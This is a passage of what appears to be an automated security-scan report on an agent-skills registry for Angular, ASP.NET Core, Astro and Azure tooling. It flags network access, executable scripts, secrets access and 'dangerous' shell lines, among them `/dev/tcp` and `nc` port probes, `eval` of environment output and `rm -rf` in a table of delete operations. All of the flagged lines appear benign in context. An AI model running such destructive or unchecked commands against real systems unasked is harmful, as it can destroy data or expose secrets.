- Network accessline 32
// environment.ts export const environment = { apiUrl: 'https://api.example.com', - Network accessline 33
export const environment = { apiUrl: 'https://api.example.com', }; - Network accessline 34
apiUrl: 'https://api.example.com', - Network accessline 39
// environment.development.ts export const environment = { apiUrl: 'http://localhost:3000', - Network accessline 40
export const environment = { apiUrl: 'http://localhost:3000', }; - Network accessline 41
apiUrl: 'http://localhost:3000', - Network accessline 73
// src/assets/config.json { "apiUrl": "https://api.example.com" - Network accessline 74
{ "apiUrl": "https://api.example.com" } - Network accessline 75
"apiUrl": "https://api.example.com"
packages/autoskills/skills-registry/angular-developer/references/mcp.md
- Network accessline 17
| `onpush_zoneless_migration` | Analyzes code and provides a plan to migrate it to `OnPush` change detection (prerequisite for zoneless). | | `run_target` | Executes a configured target. - Network accessline 19
| `search_documentation` | Searches the official documentation at `https://angular.dev`. |
packages/autoskills/skills-registry/angular-developer/references/resource.md
- Network accessline 23
// Executes whenever params change loader: async ({ params, abortSignal }) => { const response = await fetch(`/api/users/${params.id}`, { signal: abortSignal }); - Network accessline 24
loader: async ({ params, abortSignal }) => { const response = await fetch(`/api/users/${params.id}`, { signal: abortSignal }); if (!response.ok) throw new Error('Network error'); - Network accessline 25
const response = await fetch(`/api/users/${params.id}`, { signal: abortSignal });
packages/autoskills/skills-registry/apply-stack-conventions/assets/snippets/eager_loading.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/apply-stack-conventions/assets/snippets/n_plus_one_fix_example.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/apply-stack-conventions/assets/snippets/service_object.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/apply-stack-conventions/assets/snippets/stimulus_controller.js
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/aspnet-core/LICENSE.txt
packages/autoskills/skills-registry/aspnet-core/references/apis-minimal-and-controllers.md
- Network accessline 3
Primary docs: - https://learn.microsoft.com/aspnet/core/fundamentals/minimal-apis - Network accessline 4
- https://learn.microsoft.com/aspnet/core/fundamentals/minimal-apis - Network accessline 5
- https://learn.microsoft.com/aspnet/core/web-api/ - Network accessline 6
- https://learn.microsoft.com/aspnet/core/fundamentals/error-handling-api
packages/autoskills/skills-registry/aspnet-core/references/data-state-and-services.md
- Network accessline 3
Primary docs: - https://learn.microsoft.com/aspnet/core/data/ - Network accessline 4
- https://learn.microsoft.com/aspnet/core/data/ - https://learn.microsoft.com/aspnet/core/fundamentals/dependency-injection - https://learn.microsoft.com/aspnet/core/fundamentals/http-requests - Network accessline 5
- https://learn.microsoft.com/aspnet/core/fundamentals/dependency-injection - https://learn.microsoft.com/aspnet/core/fundamentals/http-requests - https://learn.microsoft.com/aspnet/core/fundamentals/app-state - Network accessline 6
- https://learn.microsoft.com/aspnet/core/fundamentals/http-requests - Network accessline 7
- https://learn.microsoft.com/aspnet/core/fundamentals/app-state
packages/autoskills/skills-registry/aspnet-core/references/program-and-pipeline.md
- Network accessline 3
Primary docs: - https://learn.microsoft.com/aspnet/core/fundamentals/ - Network accessline 4
- https://learn.microsoft.com/aspnet/core/fundamentals/ - Network accessline 5
- https://learn.microsoft.com/aspnet/core/fundamentals/minimal-apis/webapplication - Network accessline 6
- https://learn.microsoft.com/aspnet/core/fundamentals/middleware/ - Network accessline 7
- https://learn.microsoft.com/aspnet/core/fundamentals/configuration/
packages/autoskills/skills-registry/aspnet-core/references/realtime-grpc-and-background-work.md
- Network accessline 3
Primary docs: - https://learn.microsoft.com/aspnet/core/signalr/introduction - Network accessline 4
- https://learn.microsoft.com/aspnet/core/signalr/introduction - Network accessline 5
- https://learn.microsoft.com/aspnet/core/grpc/ - Network accessline 6
- https://learn.microsoft.com/aspnet/core/fundamentals/host/hosted-services
packages/autoskills/skills-registry/aspnet-core/references/security-and-identity.md
- Network accessline 3
Primary docs: - https://learn.microsoft.com/aspnet/core/security/ - Network accessline 4
- https://learn.microsoft.com/aspnet/core/security/ - Network accessline 5
- https://learn.microsoft.com/aspnet/core/security/authentication/identity - Network accessline 6
- https://learn.microsoft.com/aspnet/core/security/authorization/introduction
packages/autoskills/skills-registry/aspnet-core/references/source-map.md
packages/autoskills/skills-registry/aspnet-core/references/stack-selection.md
- Network accessline 3
Primary docs: - https://learn.microsoft.com/aspnet/core/ - Network accessline 4
- https://learn.microsoft.com/aspnet/core/ - Network accessline 5
- https://learn.microsoft.com/aspnet/core/blazor/ - Network accessline 6
- https://learn.microsoft.com/aspnet/core/razor-pages/ - Network accessline 7
- https://learn.microsoft.com/aspnet/core/mvc/overview - Network accessline 8
- https://learn.microsoft.com/aspnet/core/web-api/ - Network accessline 9
- https://learn.microsoft.com/aspnet/core/fundamentals/minimal-apis
packages/autoskills/skills-registry/aspnet-core/references/testing-performance-and-operations.md
- Network accessline 3
Primary docs: - https://learn.microsoft.com/aspnet/core/test/integration-tests - Network accessline 4
- https://learn.microsoft.com/aspnet/core/test/integration-tests - Network accessline 5
- https://learn.microsoft.com/aspnet/core/host-and-deploy/ - Network accessline 6
- https://learn.microsoft.com/aspnet/core/host-and-deploy/health-checks - Network accessline 7
- https://learn.microsoft.com/aspnet/core/performance/
packages/autoskills/skills-registry/aspnet-core/references/ui-blazor.md
- Network accessline 3
Primary docs: - https://learn.microsoft.com/aspnet/core/blazor/ - Network accessline 4
- https://learn.microsoft.com/aspnet/core/blazor/ - Network accessline 5
- https://learn.microsoft.com/aspnet/core/blazor/fundamentals/ - Network accessline 6
- https://learn.microsoft.com/aspnet/core/blazor/security/
packages/autoskills/skills-registry/aspnet-core/references/ui-mvc.md
- Network accessline 3
Primary docs: - https://learn.microsoft.com/aspnet/core/mvc/overview - Network accessline 4
- https://learn.microsoft.com/aspnet/core/mvc/overview - Network accessline 5
- https://learn.microsoft.com/aspnet/core/mvc/controllers/ - Network accessline 6
- https://learn.microsoft.com/aspnet/core/mvc/views/
packages/autoskills/skills-registry/aspnet-core/references/ui-razor-pages.md
packages/autoskills/skills-registry/aspnet-core/references/versioning-and-upgrades.md
- Network accessline 3
Primary docs: - https://learn.microsoft.com/aspnet/core/release-notes/ - Network accessline 4
- https://learn.microsoft.com/aspnet/core/release-notes/ - Network accessline 5
- https://learn.microsoft.com/aspnet/core/release-notes/aspnetcore-10.0 - Network accessline 6
- https://learn.microsoft.com/aspnet/core/release-notes/aspnetcore-9.0 - Network accessline 7
- https://github.com/dotnet/AspNetCore.Docs/tree/main/aspnetcore/breaking-changes
packages/autoskills/skills-registry/astro/SKILL.md
- Network accessline 12
**Always consult [docs.astro.build](https://docs.astro.build) for code examples and latest API.** - Network accessline 35
Reference [project structure docs](https://docs.astro.build/en/basics/project-structure). - Network accessline 60
export default defineConfig({ site: 'https://example.com', - Network accessline 61
site: 'https://example.com', - Network accessline 113
**Add [Node.js](https://docs.astro.build/en/guides/integrations-guide/node) adapter using astro add:** - Network accessline 118
**Add [Cloudflare](https://docs.astro.build/en/guides/integrations-guide/cloudflare) adapter using astro add:** - Network accessline 123
**Add [Netlify](https://docs.astro.build/en/guides/integrations-guide/netlify) adapter using astro add:** - Network accessline 128
**Add [Vercel](https://docs.astro.build/en/guides/integrations-guide/vercel) adapter using astro add:** - Network accessline 133
[Other Community adapters](https://astro.build/integrations/2/?search=&categories%5B%5D=adapters) - Network accessline 137
- [Docs](https://docs.astro.build) - Network accessline 138
- [Config Reference](https://docs.astro.build/en/reference/configuration-reference/) - Network accessline 139
- [llms.txt](https://docs.astro.build/llms.txt) - Network accessline 140
- [GitHub](https://github.com/withastro/astro)
packages/autoskills/skills-registry/azure-ai/SKILL.md
- Network accessline 70
- AI Search indexing and queries -> [Azure AI Search documentation](https://learn.microsoft.com/azure/search/search-what-is-azure-search) - Network accessline 71
- Speech transcription patterns -> [Azure AI Speech documentation](https://learn.microsoft.com/azure/ai-services/speech-service/overview)
packages/autoskills/skills-registry/azure-ai/references/auth-best-practices.md
- Network accessline 3
> Source: [Microsoft — Passwordless connections for Azure services](https://learn.microsoft.com/azure/developer/intro/passwordless-overview) and [Azure Identity client libraries](https://learn.microsoft.com/dotnet/azure/sdk/authentication/) - Network accessline 122
- [Passwordless connections overview](https://learn.microsoft.com/azure/developer/intro/passwordless-overview) - Network accessline 123
- [Managed identities overview](https://learn.microsoft.com/entra/identity/managed-identities-azure-resources/overview) - Network accessline 124
- [Azure RBAC overview](https://learn.microsoft.com/azure/role-based-access-control/overview) - Network accessline 125
- [.NET authentication guide](https://learn.microsoft.com/dotnet/azure/sdk/authentication/) - Network accessline 126
- [Python identity library](https://learn.microsoft.com/python/api/overview/azure/identity-readme) - Network accessline 127
- [JavaScript identity library](https://learn.microsoft.com/javascript/api/overview/azure/identity-readme) - Network accessline 128
- [Java identity library](https://learn.microsoft.com/java/api/overview/azure/identity-readme)
packages/autoskills/skills-registry/azure-ai/references/sdk/azure-ai-transcription-py.md
packages/autoskills/skills-registry/azure-ai/references/sdk/azure-ai-translation-ts.md
- Access to secretsline 14
[Credential-related source omitted]
packages/autoskills/skills-registry/azure-deploy/SKILL.md
- Network accessline 45
> **APIM / AI Gateway**: Use this skill to deploy applications whose APIM/AI gateway infrastructure was already created during **azure-prepare**. For creating or changing APIM resources, see [APIM deployment guide](https://learn.microsoft.c - Network accessline 68
| 8 | **Verify Success** — Confirm deployment completed and endpoints are accessible | [Verification](references/recipes/azd/verify.md) | | 9 | **Live Role Verification** — Query Azure to confirm provisioned RBAC roles are correct and suffi - Network accessline 70
| 10 | **Report Results** — Present deployed endpoint URLs to the user as fully-qualified `https://` links | [Verification](references/recipes/azd/verify.md) | - Network accessline 72
> **⛔ URL FORMAT RULE** > > When presenting endpoint URLs to the user, you **MUST** always use fully-qualified URLs with the `https://` scheme (e.g. `https://myapp.azurewebsites.net`, not `myapp.azurewebsites.net`). Many Azure CLI commands - Network accessline 74
> When presenting endpoint URLs to the user, you **MUST** always use fully-qualified URLs with the `https://` scheme (e.g. `https://myapp.azurewebsites.net`, not `myapp.azurewebsites.net`). Many Azure CLI commands return bare hostnames with
packages/autoskills/skills-registry/azure-deploy/references/auth-best-practices.md
- Network accessline 3
> Source: [Microsoft — Passwordless connections for Azure services](https://learn.microsoft.com/azure/developer/intro/passwordless-overview) and [Azure Identity client libraries](https://learn.microsoft.com/dotnet/azure/sdk/authentication/) - Network accessline 122
- [Passwordless connections overview](https://learn.microsoft.com/azure/developer/intro/passwordless-overview) - Network accessline 123
- [Managed identities overview](https://learn.microsoft.com/entra/identity/managed-identities-azure-resources/overview) - Network accessline 124
- [Azure RBAC overview](https://learn.microsoft.com/azure/role-based-access-control/overview) - Network accessline 125
- [.NET authentication guide](https://learn.microsoft.com/dotnet/azure/sdk/authentication/) - Network accessline 126
- [Python identity library](https://learn.microsoft.com/python/api/overview/azure/identity-readme) - Network accessline 127
- [JavaScript identity library](https://learn.microsoft.com/javascript/api/overview/azure/identity-readme) - Network accessline 128
- [Java identity library](https://learn.microsoft.com/java/api/overview/azure/identity-readme)
packages/autoskills/skills-registry/azure-deploy/references/global-rules.md
- Dangerous shell operationline 13
| **Delete** | `az group delete`, `azd down`, `rm -rf`, delete resource |
packages/autoskills/skills-registry/azure-deploy/references/recipes/azcli/verify.md
- Network accessline 10
curl -s https://<endpoint>/health | jq . - Network accessline 39
# Container Apps FQDN=$(az containerapp show --name <app-name> --resource-group <rg-name> --query "properties.configuration.ingress.fqdn" -o tsv) echo "https://$FQDN" - Network accessline 41
echo "https://$FQDN" - Network accessline 43
# App Service HOSTNAME=$(az webapp show --name <app-name> --resource-group <rg-name> --query "defaultHostName" -o tsv) echo "https://$HOSTNAME" - Network accessline 45
echo "https://$HOSTNAME" - Network accessline 47
# Static Web Apps HOSTNAME=$(az staticwebapp show --name <app-name> --resource-group <rg-name> --query "defaultHostname" -o tsv) echo "https://$HOSTNAME" - Network accessline 49
echo "https://$HOSTNAME" - Network accessline 54
# Container Apps $Fqdn = az containerapp show --name <app-name> --resource-group <rg-name> --query "properties.configuration.ingress.fqdn" -o tsv Write-Output "https://$Fqdn" - Network accessline 56
Write-Output "https://$Fqdn" - Network accessline 58
# App Service $Hostname = az webapp show --name <app-name> --resource-group <rg-name> --query "defaultHostName" -o tsv Write-Output "https://$Hostname" - Network accessline 60
Write-Output "https://$Hostname" - Network accessline 62
# Static Web Apps $Hostname = az staticwebapp show --name <app-name> --resource-group <rg-name> --query "defaultHostname" -o tsv Write-Output "https://$Hostname" - Network accessline 64
Write-Output "https://$Hostname" - Network accessline 67
> ⚠<U+FE0F> **These commands return bare hostnames without a scheme.** Always prepend `https://` when presenting URLs to the user. For example, report `https://myapp.azurewebsites.net`, never `myapp.azurewebsites.net`. - Network accessline 69
Present a summary including all service URLs as fully-qualified `https://` links. Do NOT end your response without including them.
packages/autoskills/skills-registry/azure-deploy/references/recipes/azd/ef-migrations.md
- Network accessline 146
- [SQL Managed Identity Access](sql-managed-identity.md) - [Post-Deployment Guide](post-deployment.md) - [EF Core Migrations](https://learn.microsoft.com/ef/core/managing-schemas/migrations/) - Network accessline 148
- [EF Core Migrations](https://learn.microsoft.com/ef/core/managing-schemas/migrations/)
packages/autoskills/skills-registry/azure-deploy/references/recipes/azd/functions-deploy.md
- Network accessline 73
# Check status code only (GET, don't follow redirects) curl -s -o /dev/null -w "%{http_code}" "https://<func-name>.azurewebsites.net/api/<route>" - Network accessline 74
curl -s -o /dev/null -w "%{http_code}" "https://<func-name>.azurewebsites.net/api/<route>" - Network accessline 76
# Get status code and redirect URL curl -s -o /dev/null -w "Status: %{http_code}\nRedirect: %{redirect_url}" "https://<func-name>.azurewebsites.net/api/<route>" - Network accessline 77
curl -s -o /dev/null -w "Status: %{http_code}\nRedirect: %{redirect_url}" "https://<func-name>.azurewebsites.net/api/<route>" - Network accessline 79
# Verbose output showing response headers (GET) curl -sS -D - -o /dev/null "https://<func-name>.azurewebsites.net/api/<route>" - Network accessline 80
curl -sS -D - -o /dev/null "https://<func-name>.azurewebsites.net/api/<route>" - Network accessline 86
# DO NOT use this — returns 404 even when the function works curl -I "https://<func-name>.azurewebsites.net/api/<route>" - Network accessline 87
curl -I "https://<func-name>.azurewebsites.net/api/<route>"
packages/autoskills/skills-registry/azure-deploy/references/recipes/azd/post-deployment.md
- Dangerous shell operationline 38
eval $(azd env get-values) - Network accessline 78
# Health check curl -f "$ENDPOINT/health" || echo "Health check failed" - Network accessline 79
curl -f "$ENDPOINT/health" || echo "Health check failed" - Network accessline 81
# Test database connectivity curl -f "$ENDPOINT/api/test-db" || echo "Database connection failed" - Network accessline 82
curl -f "$ENDPOINT/api/test-db" || echo "Database connection failed"
packages/autoskills/skills-registry/azure-deploy/references/recipes/azd/scripts/apply-migrations.ps1
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/azure-deploy/references/recipes/azd/scripts/apply-migrations.sh
- Executable scriptline 1
#!/bin/bash
packages/autoskills/skills-registry/azure-deploy/references/recipes/azd/scripts/grant-and-migrate.ps1
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/azure-deploy/references/recipes/azd/scripts/grant-and-migrate.sh
- Executable scriptline 1
#!/bin/bash
packages/autoskills/skills-registry/azure-deploy/references/recipes/azd/sql-managed-identity.md
packages/autoskills/skills-registry/azure-deploy/references/recipes/azd/verify.md
- Network accessline 14
Resource Group: rg-myapp-dev Services: api - Endpoint: https://api-xxxx.azurecontainerapps.io - Network accessline 16
api - Endpoint: https://api-xxxx.azurecontainerapps.io - Network accessline 25
# Test endpoint curl -f "$ENDPOINT/health" || curl -f "$ENDPOINT" - Network accessline 26
curl -f "$ENDPOINT/health" || curl -f "$ENDPOINT" - Network accessline 66
| Service | Endpoint | |---------|----------| | apiservice | https://apiservice.xxx.azurecontainerapps.io | - Network accessline 68
| apiservice | https://apiservice.xxx.azurecontainerapps.io | - Network accessline 70
Aspire Dashboard: https://aspire-dashboard.xxx.azurecontainerapps.io - Network accessline 73
> ⚠<U+FE0F> **Always use fully-qualified URLs with the `https://` scheme.** If a command returns a bare hostname (e.g. `myapp.azurestaticapps.net`), prepend `https://` before presenting it to the user. - Dangerous shell operationline 85
eval $(azd env get-values)
packages/autoskills/skills-registry/azure-deploy/references/recipes/bicep/verify.md
- Network accessline 18
curl -s https://<endpoint>/health | jq . - Network accessline 31
Present a summary including all service URLs as fully-qualified `https://` links. If a deployment output returns a bare hostname (e.g. `myapp.azurewebsites.net`), always prepend `https://`. Do NOT end your response without including them.
packages/autoskills/skills-registry/azure-deploy/references/recipes/cicd/verify.md
- Network accessline 16
curl -s https://<endpoint>/health | jq . - Network accessline 23
Extract endpoints from the pipeline output or query them directly via `az` CLI. Present a summary including all service URLs as fully-qualified `https://` links. If any command returns a bare hostname (e.g. `myapp.azurewebsites.net`), alway
packages/autoskills/skills-registry/azure-deploy/references/recipes/terraform/README.md
- Access to secretsline 18
[Credential-related source omitted]
packages/autoskills/skills-registry/azure-deploy/references/recipes/terraform/errors.md
- Access to secretsline 10
[Credential-related source omitted]
packages/autoskills/skills-registry/azure-deploy/references/recipes/terraform/verify.md
- Network accessline 11
curl -s https://$(terraform output -raw api_url)/health | jq . - Network accessline 30
Present a summary including all service URLs as fully-qualified `https://` links. If a Terraform output returns a bare hostname (e.g. `myapp.azurewebsites.net`), always prepend `https://`. Do NOT end your response without including them.
packages/autoskills/skills-registry/azure-deploy/references/region-availability.md
- Network accessline 3
> **AUTHORITATIVE SOURCE** — Consult this file BEFORE recommending any region. > > Official reference: https://azure.microsoft.com/en-us/explore/global-infrastructure/products-by-region/table - Network accessline 5
> Official reference: https://azure.microsoft.com/en-us/explore/global-infrastructure/products-by-region/table - Network accessline 65
> Check https://learn.microsoft.com/azure/ai-services/openai/concepts/models for current model availability.
packages/autoskills/skills-registry/azure-deploy/references/sdk/azd-deployment.md
packages/autoskills/skills-registry/azure-deploy/references/troubleshooting.md
- Network accessline 114
{ "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentParameters.json#", - Network accessline 115
"$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentParameters.json#", - Network accessline 134
**Reference:** [Use environment variables in infrastructure files](https://learn.microsoft.com/azure/developer/azure-developer-cli/manage-environment-variables?tabs=bash#use-environment-variables-in-infrastructure-files)
packages/autoskills/skills-registry/azure-diagnostics/references/app-service/README.md
- Network accessline 15
|---------|--------------|-----------| | High CPU / memory | Runaway process, inefficient code | Use Process Explorer via Kudu, scale up | | Deployment failure | Build error, locked files, quota | Check Kudu logs at `https://APP.scm.azurewe - Network accessline 16
| High CPU / memory | Runaway process, inefficient code | Use Process Explorer via Kudu, scale up | | Deployment failure | Build error, locked files, quota | Check Kudu logs at `https://APP.scm.azurewebsites.net/api/deployments` to look for - Network accessline 17
| Deployment failure | Build error, locked files, quota | Check Kudu logs at `https://APP.scm.azurewebsites.net/api/deployments` to look for details on build errors, locked files or lack of storage quota | - Network accessline 39
**Fix:** Scale up (`az appservice plan update -n <app-service-plan-name> -g <resource-group> --sku P1V3`) or profile the app via Kudu Process Explorer at `https://APP.scm.azurewebsites.net/ProcessExplorer/` to identify hot paths. - Network accessline 105
# Test the endpoint directly curl -s -o /dev/null -w "%{http_code}" https://APP.azurewebsites.net/health - Network accessline 106
curl -s -o /dev/null -w "%{http_code}" https://APP.azurewebsites.net/health
packages/autoskills/skills-registry/azure-diagnostics/references/container-apps/README.md
packages/autoskills/skills-registry/azure-diagnostics/references/functions/durable.md
- Network accessline 99
> **Tip:** For the Azure Storage provider, a task hub uses multiple tables, queues, and > blobs. See the [storage > providers docs](https://learn.microsoft.com/azure/azure-functions/durable/durable-functions-storage-providers#azure-storage) - Network accessline 100
> blobs. See the [storage > providers docs](https://learn.microsoft.com/azure/azure-functions/durable/durable-functions-storage-providers#azure-storage) > for the full schema before assuming an artifact is missing. - Network accessline 101
> providers docs](https://learn.microsoft.com/azure/azure-functions/durable/durable-functions-storage-providers#azure-storage)
packages/autoskills/skills-registry/azure-diagnostics/references/kql-queries.md
packages/autoskills/skills-registry/azure-diagnostics/scripts/aks-baseline.ps1
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/azure-diagnostics/scripts/aks-baseline.sh
- Executable scriptline 1
#!/usr/bin/env bash
packages/autoskills/skills-registry/azure-diagnostics/scripts/appservice-diagnostics.ps1
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/azure-diagnostics/scripts/appservice-diagnostics.sh
- Executable scriptline 1
#!/usr/bin/env bash
packages/autoskills/skills-registry/azure-diagnostics/scripts/containerapp-diagnostics.ps1
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/azure-diagnostics/scripts/containerapp-diagnostics.sh
- Executable scriptline 1
#!/usr/bin/env bash
packages/autoskills/skills-registry/azure-diagnostics/scripts/pod-evidence.ps1
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/azure-diagnostics/scripts/pod-evidence.sh
- Executable scriptline 1
#!/usr/bin/env bash
packages/autoskills/skills-registry/azure-diagnostics/scripts/run-ig.ps1
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/azure-diagnostics/scripts/run-ig.sh
- Executable scriptline 1
#!/usr/bin/env bash
packages/autoskills/skills-registry/azure-diagnostics/scripts/test-messaging-connectivity.ps1
- Executable scriptline 1
Executable file - Network accessline 89
function Get-HttpsResult { try { $resp = Invoke-WebRequest -Uri "https://$fqdn/" -Method Get -TimeoutSec 15 ` - Network accessline 90
try { $resp = Invoke-WebRequest -Uri "https://$fqdn/" -Method Get -TimeoutSec 15 ` -UseBasicParsing -ErrorAction Stop - Network accessline 91
$resp = Invoke-WebRequest -Uri "https://$fqdn/" -Method Get -TimeoutSec 15 `
packages/autoskills/skills-registry/azure-diagnostics/scripts/test-messaging-connectivity.sh
- Executable scriptline 1
#!/usr/bin/env bash - Network accessline 99
probe_tcp() { local host="$1" port="$2" if command -v nc >/dev/null 2>&1; then - Network accessline 100
local host="$1" port="$2" if command -v nc >/dev/null 2>&1; then if nc -z -w 5 "$host" "$port" >/dev/null 2>&1; then - Network accessline 101
if command -v nc >/dev/null 2>&1; then - Network accessline 102
if nc -z -w 5 "$host" "$port" >/dev/null 2>&1; then - Dangerous shell operationline 108
( exec 3<>"/dev/tcp/$host/$port" ) >/dev/null 2>&1 & - Network accessline 108
( exec 3<>"/dev/tcp/$host/$port" ) >/dev/null 2>&1 & - Network accessline 132
# ── HTTPS reachability ──────────────────────────────────────────────────────── # On success the namespace returns an Atom feed or HTTP 401 — either proves the # endpoint is reachable. A connection failure (curl exit != 0) means blocked. - Network accessline 134
# endpoint is reachable. A connection failure (curl exit != 0) means blocked. - Network accessline 135
https_result() { if ! command -v curl >/dev/null 2>&1; then - Network accessline 136
if ! command -v curl >/dev/null 2>&1; then - Network accessline 138
if probe_tcp "$FQDN" 443; then echo "reachable (TCP 443 open; curl unavailable for HTTP check)" - Network accessline 139
echo "reachable (TCP 443 open; curl unavailable for HTTP check)" - Network accessline 144
fi local code code=$(curl -s -o /dev/null -m 15 -w '%{http_code}' "https://$FQDN/" 2>/dev/null) - Network accessline 145
local code code=$(curl -s -o /dev/null -m 15 -w '%{http_code}' "https://$FQDN/" 2>/dev/null) local rc=$? - Network accessline 146
code=$(curl -s -o /dev/null -m 15 -w '%{http_code}' "https://$FQDN/" 2>/dev/null) - Network accessline 149
echo "reachable (HTTP $code)" else echo "BLOCKED (curl exit $rc)" - Network accessline 150
else echo "BLOCKED (curl exit $rc)" fi - Network accessline 151
echo "BLOCKED (curl exit $rc)"
packages/autoskills/skills-registry/azure-diagnostics/troubleshooting/aks/networking.md
- Network accessline 3
For CNI-specific issues, check CNI pod health and review [AKS networking concepts](https://learn.microsoft.com/azure/aks/concepts-network). - Network accessline 15
# This creates a temporary pod. Prefer read-only checks first. # Only use it after the user explicitly approves a mutating test. kubectl run netdebug --image=curlimages/curl -it --rm -n <ns> -- \ - Network accessline 16
# Only use it after the user explicitly approves a mutating test. kubectl run netdebug --image=curlimages/curl -it --rm -n <ns> -- \ curl -sv http://<service>.<ns>.svc.cluster.local:<port>/healthz - Network accessline 17
kubectl run netdebug --image=curlimages/curl -it --rm -n <ns> -- \ - Network accessline 18
curl -sv http://<service>.<ns>.svc.cluster.local:<port>/healthz
packages/autoskills/skills-registry/azure-diagnostics/troubleshooting/aks/node-issues.md
- Network accessline 97
See [AKS resource reservations](https://learn.microsoft.com/azure/aks/concepts-clusters-workloads#resource-reservations) for allocatable math.
packages/autoskills/skills-registry/azure-diagnostics/troubleshooting/aks/references/aks-mcp.md
- Network accessline 29
Health. Use the separate Azure MCP area that advertises the needed operation, or use the portable command flows. Never route Kubernetes commands through the AKS area. See [Azure Kubernetes Service tools for the Azure MCP Server](https://lea - Network accessline 31
AKS area. See [Azure Kubernetes Service tools for the Azure MCP Server](https://learn.microsoft.com/azure/developer/azure-mcp-server/tools/azure-kubernetes).
packages/autoskills/skills-registry/azure-diagnostics/troubleshooting/aks/spot-and-zone-issues.md
- Network accessline 64
Use `Premium_ZRS` or `StandardSSD_ZRS` in custom StorageClasses to reduce zonal PVC conflicts. See [AKS storage best practices](https://learn.microsoft.com/azure/aks/operator-best-practices-storage).
packages/autoskills/skills-registry/azure-diagnostics/troubleshooting/compute/references/cannot-connect-to-vm.md
- Network accessline 48
[Windows RDP]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-rdp-connection - Network accessline 49
[Linux SSH]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/troubleshoot-ssh-connection - Network accessline 50
[Windows VM hub]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/welcome-virtual-machines-windows - Network accessline 51
[Linux VM hub]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/welcome-virtual-machines-linux
packages/autoskills/skills-registry/azure-diagnostics/troubleshooting/compute/references/credential-auth-errors.md
- Dangerous shell operationline 16
| sudo prompt fails | Linux | Fix sudoers via Run Command or Serial Console | [SSH overview] | - Network accessline 33
[Reset RDP]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/reset-rdp - Network accessline 34
[RDP overview]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-rdp-connection - Network accessline 35
[RDP errors]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-specific-rdp-errors - Network accessline 36
[CredSSP]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/credssp-encryption-oracle-remediation - Network accessline 37
[SSH detail]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/detailed-troubleshoot-ssh-connection - Network accessline 38
[SSH overview]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/troubleshoot-ssh-connection
packages/autoskills/skills-registry/azure-diagnostics/troubleshooting/compute/references/firewall-blocking.md
- Network accessline 36
[Guest firewall]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/guest-os-firewall-blocking-inbound-traffic - Network accessline 37
[Firewall rule]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/enable-disable-firewall-rule-guest-os - Network accessline 38
[Offline firewall]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/disable-guest-os-firewall-windows - Network accessline 39
[SSH overview]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/troubleshoot-ssh-connection - Network accessline 40
[Linux repair]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/repair-linux-vm-using-azure-virtual-machine-repair-commands
packages/autoskills/skills-registry/azure-diagnostics/troubleshooting/compute/references/network-connectivity.md
- Network accessline 36
[RDP NSG]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-rdp-nsg-problem - Network accessline 37
[Traffic filter]: https://learn.microsoft.com/en-us/azure/network-watcher/diagnose-vm-network-traffic-filtering-problem - Network accessline 38
[Routing]: https://learn.microsoft.com/en-us/azure/network-watcher/diagnose-vm-network-routing-problem - Network accessline 39
[Public IP]: https://learn.microsoft.com/en-us/azure/virtual-network/ip-services/public-ip-addresses - Network accessline 40
[RDP NIC]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-rdp-nic-disabled - Network accessline 41
[Reset NIC]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/reset-network-interface - Network accessline 42
[DHCP]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-rdp-dhcp-disabled - Network accessline 43
[SSH overview]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/troubleshoot-ssh-connection
packages/autoskills/skills-registry/azure-diagnostics/troubleshooting/compute/references/rdp-connectivity.md
- Network accessline 34
[RDP NSG]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-rdp-nsg-problem - Network accessline 35
[Guest firewall]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/guest-os-firewall-blocking-inbound-traffic - Network accessline 36
[RDP errors]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-specific-rdp-errors - Network accessline 37
[Internal]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-rdp-internal-error - Network accessline 38
[General]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-rdp-general-error - Network accessline 39
[Detailed]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/detailed-troubleshoot-rdp - Network accessline 40
[RDP overview]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-rdp-connection - Network accessline 41
